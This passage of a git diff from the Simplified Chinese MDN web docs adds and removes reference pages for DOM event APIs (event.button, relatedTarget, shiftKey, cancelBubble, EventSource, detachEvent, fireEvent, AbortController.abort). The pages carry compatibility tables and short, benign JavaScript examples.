Users may change the configuration of buttons on their pointing device so that if an event's button property is zero, it may not have been caused by the button that is physically left–most on the pointing device; however, it should behave as if the left button was clicked in the standard button layout.

-

规范

-

DOM 2 Events Specification: button

-

浏览器兼容性

-

Based on Jan Wolter's JavaScript Madness: Mouse Events.

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - -
FeatureGeckoWebkitInternet ExplorerOpera
Basic support152398
-
-

{{ languages( { "ja": "ja/DOM/event.button", "pl": "pl/DOM/event.button" ,"en": "en/DOM/event.button" } ) }}

diff --git a/files/zh-cn/web/api/event.relatedtarget/index.html b/files/zh-cn/web/api/event.relatedtarget/index.html deleted file mode 100644 index a334f4b2eb..0000000000 --- a/files/zh-cn/web/api/event.relatedtarget/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: event.relatedTarget -slug: Web/API/event.relatedTarget -translation_of: Web/API/MouseEvent/relatedTarget -translation_of_original: Web/API/event.relatedTarget ---- -

 

- -

{{APIRef("DOM")}}

- -

简要

- -

为事件标识第二目标

- -

描述

- -

relatedTarget 属性用于在一个事件中查找另外一个元素。有些事件比如 mouseover 通常侧重处理一个特定的目标,而有些有也可能会涉及到第二目标,比如当目标退出第一目标的 mouseover 事件.

- -

事件

- -

只有 MouseEvents 有这个属性,而且这些些只在特定的 MouseEvents 事件中有效:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
事件名relatedTarget role
focusin哪个 {{domxref("EventTarget")}} 失去焦点
focusout哪个 {{domxref("EventTarget")}} 获得焦点
mouseenter鼠标从哪个 {{domxref("EventTarget")}} 进来
mouseleave鼠标移到哪个{{domxref("EventTarget")}} 去
mouseout鼠标移到哪个{{domxref("EventTarget")}} 去
mouseover鼠标从哪个{{domxref("EventTarget")}} 进来
dragenter鼠标从哪个{{domxref("EventTarget")}} 进来
dragexit鼠标移到哪个{{domxref("EventTarget")}} 去
- -

示例

- -
<!DOCTYPE html>
-<html>
-<head>
-
-<style>
-div > div {
-  height: 128px;
-  width: 128px;
-}
-#top    { background-color: red; }
-#bottom { background-color: blue; }
-</style>
-
-<script>
-function outListener(event) {
-  console.log("exited " + event.target.id + " for " + event.relatedTarget.id);
-}
-
-function overListener(event) {
-  console.log("entered " + event.target.id + " from " + event.relatedTarget.id);
-}
-
-function loadListener() {
-  var top = document.getElementById("top"),
-      bottom = document.getElementById("bottom");
-
-  top.addEventListener("mouseover", overListener);
-  top.addEventListener("mouseout", outListener);
-  bottom.addEventListener("mouseover", overListener);
-  bottom.addEventListener("mouseout", outListener);
-}
-</script>
-
-</head>
-
-<body onload="loadListener();">
-
-<div id="outer">
-  <div id="top"></div>
-  <div id="bottom"></div>
-</div>
-
-</body>
-</html>
-
- -

在JSFiddle中查看

- -

Specification

- - - -

See also

- - diff --git a/files/zh-cn/web/api/event.shiftkey/index.html b/files/zh-cn/web/api/event.shiftkey/index.html deleted file mode 100644 index e01246caca..0000000000 --- a/files/zh-cn/web/api/event.shiftkey/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: event.shiftKey -slug: Web/API/event.shiftKey -translation_of: Web/API/MouseEvent/shiftKey -translation_of_original: Web/API/event.shiftKey ---- -

{{ ApiRef() }}

-

概述

-

表明当事件触发时,SHIFT键是否处于按下状态.

-

语法

-
var bool = event.shiftKey;
-
-

bool 的值为 truefalse

-

例子

-
<html>
-<head>
-<title>shiftKey example</title>
-
-<script type="text/javascript">
-
-function showChar(e){
-  alert(
-    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
-    + "charCode: " + e.charCode + "\n"
-    + "SHIFT key pressed: " + e.shiftKey + "\n"
-    + "ALT key pressed: " + e.altKey + "\n"
-  );
-}
-
-</script>
-</head>
-
-<body onkeypress="showChar(event);">
-<p>按下一个字符键,尝试同时按下SHIFT键.<br />
-你也可以同时按下SHIFT键和ALT键.</p>
-</body>
-</html>
-
-

规范

-

shiftKey

-

{{ languages( { "pl": "pl/DOM/event.shiftKey" ,"en": "en/DOM/event.shiftKey" } ) }}

diff --git a/files/zh-cn/web/api/event/cancelbubble/index.html b/files/zh-cn/web/api/event/cancelbubble/index.html new file mode 100644 index 0000000000..c228d329d6 --- /dev/null +++ b/files/zh-cn/web/api/event/cancelbubble/index.html @@ -0,0 +1,93 @@ +--- +title: Event.cancelBubble +slug: Web/API/Event/禁用时间冒泡 +tags: + - 事件 +translation_of: Web/API/Event/cancelBubble +--- +

{{APIRef("DOM Events")}} 

+ +

Event.cancelBubble 属性是 {{domxref("Event.stopPropagation()")}}的一个曾用名。在从事件处理程序返回之前将其值设置为true可阻止事件的传播。

+ +

语法

+ +
event.cancelBubble = bool;
+let bool = event.cancelBubble;
+ +

用例

+ +
+
+
ele.onclick = function(e) {
+  // 在这儿可以做点儿有趣的事情
+  e.cancelBubble = true;
+}
+
+
+ +

规范

+ +

这个属性的规范并未统一. 因为他还有其他标准 W3C版: an old Working Draft of W3C DOM Level 2. 微软版: description of it on MSDN.

+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerMicrosoft EdgeOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/event/createevent/index.html b/files/zh-cn/web/api/event/createevent/index.html deleted file mode 100644 index 8b9c249c71..0000000000 --- a/files/zh-cn/web/api/event/createevent/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Event.createEvent() -slug: Web/API/Event/createEvent -tags: - - DOM - - Event - - JavaScript - - Method -translation_of: Web/API/Document/createEvent -translation_of_original: Web/API/Event/createEvent ---- -

{{APIRef("DOM")}}

- -

创建一个新的事件(Event),随之必须调用自身的 init 方法进行初始化。

- -

语法

- -
document.createEvent(type) 
- -
-
type
-
指明待创建事件对象的类型的字符串
-
- -

此方法返回一个新的特定类型的 DOM {{ domxref("Event") }} 对象,此对象在使用前必须经过初始化(init)。

- -

示例

- -
var newEvent = document.createEvent("UIEvents");
- -

规范

- - diff --git a/files/zh-cn/web/api/event/deeppath/index.html b/files/zh-cn/web/api/event/deeppath/index.html deleted file mode 100644 index 61bfdf1366..0000000000 --- a/files/zh-cn/web/api/event/deeppath/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Event.deepPath -slug: Web/API/Event/deepPath -translation_of: Web/API/Event/composedPath -translation_of_original: Web/API/Event/deepPath ---- -

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

- -

{{domxref("Event")}}的deepPath 属性返回事件冒泡过程所有经过的节点所构成的{{jsxref("Array")}}数组

- -

语法

- -
var nodes[] = Event.deepPath
- -

返回值

- -

一组节点 构成的{{jsxref("Array")}}数组

- -

规范

- - - - - - - - - - - - - - -
规格状态评语
{{SpecName('Shadow DOM','#widl-Event-deepPath-sequence-EventTarget','deepPath')}}{{Spec2('Shadow DOM')}}Initial definition.
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
-
diff --git "a/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" "b/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" deleted file mode 100644 index c228d329d6..0000000000 --- "a/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Event.cancelBubble -slug: Web/API/Event/禁用时间冒泡 -tags: - - 事件 -translation_of: Web/API/Event/cancelBubble ---- -

{{APIRef("DOM Events")}} 

- -

Event.cancelBubble 属性是 {{domxref("Event.stopPropagation()")}}的一个曾用名。在从事件处理程序返回之前将其值设置为true可阻止事件的传播。

- -

语法

- -
event.cancelBubble = bool;
-let bool = event.cancelBubble;
- -

用例

- -
-
-
ele.onclick = function(e) {
-  // 在这儿可以做点儿有趣的事情
-  e.cancelBubble = true;
-}
-
-
- -

规范

- -

这个属性的规范并未统一. 因为他还有其他标准 W3C版: an old Working Draft of W3C DOM Level 2. 微软版: description of it on MSDN.

- -

浏览器兼容

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerMicrosoft EdgeOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

参考

- - diff --git a/files/zh-cn/web/api/eventsource/close/index.html b/files/zh-cn/web/api/eventsource/close/index.html new file mode 100644 index 0000000000..3b8af5d6d3 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/close/index.html @@ -0,0 +1,138 @@ +--- +title: EventSource.close() +slug: Server-sent_events/EventSource/close +translation_of: Web/API/EventSource/close +--- +
{{APIRef('WebSockets API')}}
+ +
 
+ +

{{domxref("EventSource")}} 的方法close()用于关闭当前的连接,如果调用了此方法,则会将{{domxref("EventSource.readyState")}}这个属性值设置为 2 (closed)

+ +
+

Note: 如果连接已经被关闭,此方法不会做任何事情

+
+ +

语法

+ +
eventSource.close();
+ +

参数

+ +

None.

+ +

返回值

+ +

Void.

+ +

例子

+ +
var button = document.querySelector('button');
+var evtSource = new EventSource('sse.php');
+
+button.onclick = function() {
+  console.log('Connection closed');
+  evtSource.close();
+}
+
+ +
+

Note: 你可以在Github上查看这整个例子: Simple SSE demo using PHP.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource-close", "close()")}}{{Spec2('HTML WHATWG')}}Initial definition
+ + + +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
EventSource support6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
EventSource support4.445{{CompatNo}}124.1
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] But not service workers as yet.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventsource/eventsource/index.html b/files/zh-cn/web/api/eventsource/eventsource/index.html new file mode 100644 index 0000000000..a93b5eb8b2 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/eventsource/index.html @@ -0,0 +1,149 @@ +--- +title: EventSource() +slug: Server-sent_events/EventSource/EventSource +tags: + - API + - EventSource + - Server-sent events +translation_of: Web/API/EventSource/EventSource +--- +

{{APIRef('WebSockets API')}}

+ +

EventSource() 构造函数返回一个新建的{{domxref("EventSource")}},它代表了一个远程资源。

+ +

语法

+ +
pc = new EventSource(url, configuration);
+ +

参数

+ +
+
url
+
 一个{{domxref("USVString")}} ,它代表远程资源的位置
+
configuration {{optional_inline}}
+
为配置新连接提供选项。可选项是: +
    +
  • withCredentials,默认为 false,指示 CORS 是否应包含凭据( credentials )。
  • +
+
+
+ +

返回值

+ +

 一个新建的 {{domxref("EventSource")}} 对象,如果指定了configuration, 则按其配置;否则,配置为合适的基本默认值。

+ + + +

示例

+ + + +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +
+

笔记: 你可以在 GitHub 查看完整示例 — 请查看 Simple SSE demo using PHP.

+
+ + + + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource", "EventSource()")}}{{Spec2('HTML WHATWG')}}Initial definition
+ + + +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
 Basic support9{{ CompatGeckoDesktop("6.0") }}{{CompatUnknown}}115
CORS support (withCredentials)26{{ CompatGeckoDesktop("11.0") }}{{CompatUnknown}}12{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatAndroid("4.4") }}{{ CompatGeckoMobile("6.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
CORS support (withCredentials){{CompatUnknown}}{{ CompatGeckoMobile("11.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventsource/index.html b/files/zh-cn/web/api/eventsource/index.html new file mode 100644 index 0000000000..977bf56d90 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/index.html @@ -0,0 +1,155 @@ +--- +title: EventSource +slug: Server-sent_events/EventSource +tags: + - API + - Server-sent events + - 参考 +translation_of: Web/API/EventSource +--- +

{{APIRef("Websockets API")}}

+ +

EventSource 是服务器推送的一个网络事件接口。一个EventSource实例会对HTTP服务开启一个持久化的连接,以text/event-stream 格式发送事件, 会一直保持开启直到被要求关闭。

+ +

一旦连接开启,来自服务端传入的消息会以事件的形式分发至你代码中。如果接收消息中有一个事件字段,触发的事件与事件字段的值相同。如果没有事件字段存在,则将触发通用事件。

+ +

与 WebSockets,不同的是,服务端推送是单向的。数据信息被单向从服务端到客户端分发. 当不需要以消息形式将数据从客户端发送到服务器时,这使它们成为绝佳的选择。例如,对于处理社交媒体状态更新,新闻提要或将数据传递到客户端存储机制(如IndexedDB或Web存储)之类的,EventSource无疑是一个有效方案。

+ +

构造函数

+ +
+
{{domxref("EventSource.EventSource", "EventSource()")}}
+
以指定的 {{domxref("USVString")}} 创建一个新的 EventSource
+
+ +

属性

+ +

此接口从其父接口 {{domxref("EventTarget")}} 继承属性。

+ +
+
{{domxref("EventSource.onerror")}}
+
是一个 {{domxref("EventHandler")}},当发生错误时被调用,并且在此对象上派发 {{event("error")}} 事件。
+
{{domxref("EventSource.onmessage")}}
+
是一个 {{domxref("EventHandler")}},当收到一个 {{event("message")}} 事件,即消息来自源头时被调用。
+
{{domxref("EventSource.onopen")}}
+
是一个 {{domxref("EventHandler")}},当收到一个 {{event(" open ")}} 事件,即连接刚打开时被调用。
+
{{domxref("EventSource.readyState")}} {{readonlyinline}}
+
一个 unsigned short 值,代表连接状态。可能值是 CONNECTING (0), OPEN (1), 或者 CLOSED (2)。
+
{{domxref("EventSource.url")}} {{readonlyinline}}
+
一个{{domxref("DOMString")}},代表事件源的 URL。
+
+ +

事件接收器

+ +
+
{{domxref("EventSource.onerror")}}
+
Is an {{domxref("EventHandler")}} called when an error occurs and the {{domxref("EventSource/error_event", "error")}} event is dispatched on an EventSource object.
+
{{domxref("EventSource.onmessage")}}
+
Is an {{domxref("EventHandler")}} called when a {{domxref("EventSource/message_event", "message")}} event is received, that is when a message is coming from the source.
+
{{domxref("EventSource.onopen")}}
+
Is an {{domxref("EventHandler")}} called when an {{domxref("EventSource/open_event", "open")}} event is received, that is when the connection was just opened.
+
+ +

方法

+ +

此接口从其父接口 {{domxref("EventTarget")}} 继承方法。

+ +
+
{{domxref("EventSource.close()")}}
+
如果存在,则关闭连接,并且设置 readyState 属性为 CLOSED。如果连接已经被关闭,此方法不会再进行任何操作。
+
+ +

事件

+ +
+
{{domxref("EventSource/error_event", "error")}}
+
Fired when a connection to an event source failed to open.
+
{{domxref("EventSource/message_event", "message")}}
+
Fired when data is received from an event source.
+
{{domxref("EventSource/open_event", "open")}}
+
Fired when a connection to an event source has opened.
+
+ +

Additionally, the event source itself may send messages with an event field, which will create ad-hoc events keyed to that value.

+ +

示例

+ +

In this basic example, an EventSource is created to receive unnamed events from the server; a page with the name sse.php is responsible for generating the events.

+ +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +

Each received event causes our EventSource object's onmessage event handler to be run. It, in turn, creates a new {{HTMLElement("li")}} element and writes the message's data into it, then appends the new element to the list element already in the document.

+ +
+

Note: You can find a full example on GitHub — see Simple SSE demo using PHP.

+
+ +

To listen to named events, you'll require a listener for each type of event sent.

+ +
  const sse = new EventSource('/api/v1/sse');
+
+  /* This will listen only for events
+   * similar to the following:
+   *
+   * event: notice
+   * data: useful data
+   * id: someid
+   *
+   */
+  sse.addEventListener("notice", function(e) {
+    console.log(e.data)
+  })
+
+  /* Similarly, this will listen for events
+   * with the field `event: update`
+   */
+  sse.addEventListener("update", function(e) {
+    console.log(e.data)
+  })
+
+  /* The event "message" is a special case, as it
+   * will capture events without an event field
+   * as well as events that have the specific type
+   * `event: message` It will not trigger on any
+   * other event type.
+   */
+  sse.addEventListener("message", function(e) {
+    console.log(e.data)
+  })
+  
+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventSource")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/eventsource/onerror/index.html b/files/zh-cn/web/api/eventsource/onerror/index.html new file mode 100644 index 0000000000..ad24259a4e --- /dev/null +++ b/files/zh-cn/web/api/eventsource/onerror/index.html @@ -0,0 +1,122 @@ +--- +title: EventSource.onerror +slug: Server-sent_events/EventSource/onerror +translation_of: Web/API/EventSource/onerror +--- +
{{APIRef('WebSockets API')}}
+ +
 
+ + +

{{domxref("EventSource")}} 的属性 onerror 是当发生错误且这个错误事件({{event("error")}} )被EventSource触发时调用的一个事件处理函数({{domxref("EventHandler")}})

+ +

语法

+ +
eventSource.onerror = function
+ +

例子

+ +
evtSource.onerror = function() {
+  console.log("EventSource failed.");
+};
+ +
+

Note: 你可以在Github上查看这个完整例子: Simple SSE demo using PHP.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onerror", "onerror")}}{{Spec2('HTML WHATWG')}}Initial definition
+ + + +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
EventSource support6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
EventSource support4.445{{CompatNo}}124.1
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] But not service workers as yet.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventsource/onopen/index.html b/files/zh-cn/web/api/eventsource/onopen/index.html new file mode 100644 index 0000000000..dfc47bbf4e --- /dev/null +++ b/files/zh-cn/web/api/eventsource/onopen/index.html @@ -0,0 +1,123 @@ +--- +title: EventSource.onopen +slug: Server-sent_events/EventSource/onopen +tags: + - API + - Event Handler + - EventSource +translation_of: Web/API/EventSource/onopen +--- +
{{APIRef('WebSockets API')}}
+ +

{{domxref("EventSource")}}接口的 onopen 属性是一个 {{domxref("EventHandler")}} ,它在收到{{event("open")}} 事件时被调用,在那时,连接刚被打开。

+ +

语法

+ +
eventSource.onopen = function
+ +

示例

+ +
evtSource.onopen = function() {
+  console.log("Connection to server opened.");
+};
+ +
+

注意 :你可以在 GitHub 上看到一个完整的示例— 请看 使用php的SSE(服务器发送事件)demo。

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onopen", "onopen")}}{{Spec2('HTML WHATWG')}}Initial definition
+ + + +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
支持EventSource6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
在共享和专用的 workers上可用[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
支持EventSource4.445{{CompatNo}}124.1
在共享和专用的 workers上可用 [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] 但 目前不能在service workers上使用.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventtarget/attachevent/index.html b/files/zh-cn/web/api/eventtarget/attachevent/index.html deleted file mode 100644 index f637813381..0000000000 --- a/files/zh-cn/web/api/eventtarget/attachevent/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: 为这个EventTarget附加事件. -slug: Web/API/EventTarget/attachEvent -tags: - - Junk -translation_of: Web/API/EventTarget/addEventListener -translation_of_original: Web/API/EventTarget/attachEvent ---- -

{{DOMxRef("EventTarget.addEventListener","EventTarget.addEventListener()")}}

diff --git a/files/zh-cn/web/api/eventtarget/detachevent/index.html b/files/zh-cn/web/api/eventtarget/detachevent/index.html deleted file mode 100644 index 3b4cbcfd90..0000000000 --- a/files/zh-cn/web/api/eventtarget/detachevent/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: EventTarget.detachEvent() -slug: Web/API/EventTarget/detachEvent -tags: - - API - - DOM - - Method - - Non-standard -translation_of: Web/API/EventTarget/removeEventListener -translation_of_original: Web/API/EventTarget/detachEvent ---- -

{{APIRef("DOM Events")}}

- -

{{ Non-standard_header() }}

- -

简介

- -

这是Microsoft Internet Explorer专有的用于替代标准的 {{domxref("EventTarget.removeEventListener()")}} 的方法。

- -

语法

- -
target.detachEvent(eventNameWithOn, callback)
-
- -
-
target
-
将要移除事件的DOM节点
-
eventNameWithOn
-
将要移除的事件名,以“on”为前缀(例如它是一个事件处理程序)。 例如,您可以使用“onclick”移除点击事件的事件处理程序。
-
callback
-
注销事件后的回调函数
-
- -

详细

- -

任何规范没有此部分。

- -

微软在 MSDN 上有相关描述。

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 至 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
特征AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
-
- -

[1]: detachEvent() 在 IE11+ 中不再支持。 {{domxref("EventTarget.removeEventListener()")}} 在 IE9+ 中支持。

- -

See also

- - diff --git a/files/zh-cn/web/api/eventtarget/fireevent/index.html b/files/zh-cn/web/api/eventtarget/fireevent/index.html deleted file mode 100644 index edc74b2306..0000000000 --- a/files/zh-cn/web/api/eventtarget/fireevent/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: EventTarget.fireEvent() -slug: Web/API/EventTarget/fireEvent -translation_of: Web/API/EventTarget/dispatchEvent -translation_of_original: Web/API/EventTarget/fireEvent ---- -

{{APIRef("DOM Events")}}

- -

{{ Non-standard_header() }}

- -

概述

- -

这是微软IE浏览器用以替代{{domxref("EventTarget.dispatchEvent()")}}的私有方法,与{{domxref("EventTarget.dispatchEvent()")}}不同的是通过fireEvent() 触发的事件不会触发事件的默认行为,例如,通过fireEvent()触发<input type="checkbox">的点击事件并不会切换checkbox的选中状态

- -

语法

- -
cancelled = target.fireEvent(eventNameWithOn, event)
-
- -
-
target
-
要触发事件的元素
-
eventNameWithOn
-
要触发事件的名字,前缀为“on”,例如,可以用过"onclick"来触发点击事件
-
event
-
要触发的事件对象
-
cancelled
-
布尔值,事件是否被事件句柄取消
-
- -

规范

- -

无此部分的规范

- -

微软的描述: has a description on MSDN.

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 到 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
-
- -

[1]: fireEvent()在IE11+已经不再支持,{{domxref("EventTarget.dispatchEvent()")}}在IE9+已经支持

- -

相关链接

- - diff --git a/files/zh-cn/web/api/fetchcontroller/abort/index.html b/files/zh-cn/web/api/fetchcontroller/abort/index.html deleted file mode 100644 index d661e73d2b..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/abort/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: AbortController.abort() -slug: Web/API/FetchController/abort -translation_of: Web/API/AbortController/abort ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

The abort() method of the {{domxref("AbortController")}} interface aborts a DOM request (e.g. a Fetch request) before it has completed. This is able to abort fetch requests, consumption of any response {{domxref("Body")}}, and streams.

- -

Syntax

- -
controller.abort();
- -

Parameters

- -

None.

- -

Return value

- -

Void.

- -

Examples

- -

In the following snippet, we aim to download a video using the Fetch API.

- -

We first create a controller using the {{domxref("AbortController.AbortController","AbortController()")}} constructor, then grab a reference to its associated {{domxref("AbortSignal")}} object using the {{domxref("AbortController.signal")}} property.

- -

When the fetch request is initiated, we pass in the AbortSignal as an option inside the request's options object (see {signal}, below). This associates the signal and controller with the fetch request and allows us to abort it by calling {{domxref("AbortController.abort()")}}, as seen below in the second event listener.

- -
var controller = new AbortController();
-var signal = controller.signal;
-
-var downloadBtn = document.querySelector('.download');
-var abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  ...
-  fetch(url, {signal}).then(function(response) {
-    ...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

Note: When abort() is called, the fetch() promise rejects with an AbortError.

-
- -

You can find a full working example on GitHub — see abort-api (see it running live also).

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.AbortController.abort")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html b/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html deleted file mode 100644 index 35fe67d1ae..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: AbortController.AbortController() -slug: Web/API/FetchController/AbortController -tags: - - AbortController - - Constructor - - Fetch -translation_of: Web/API/AbortController/AbortController ---- -
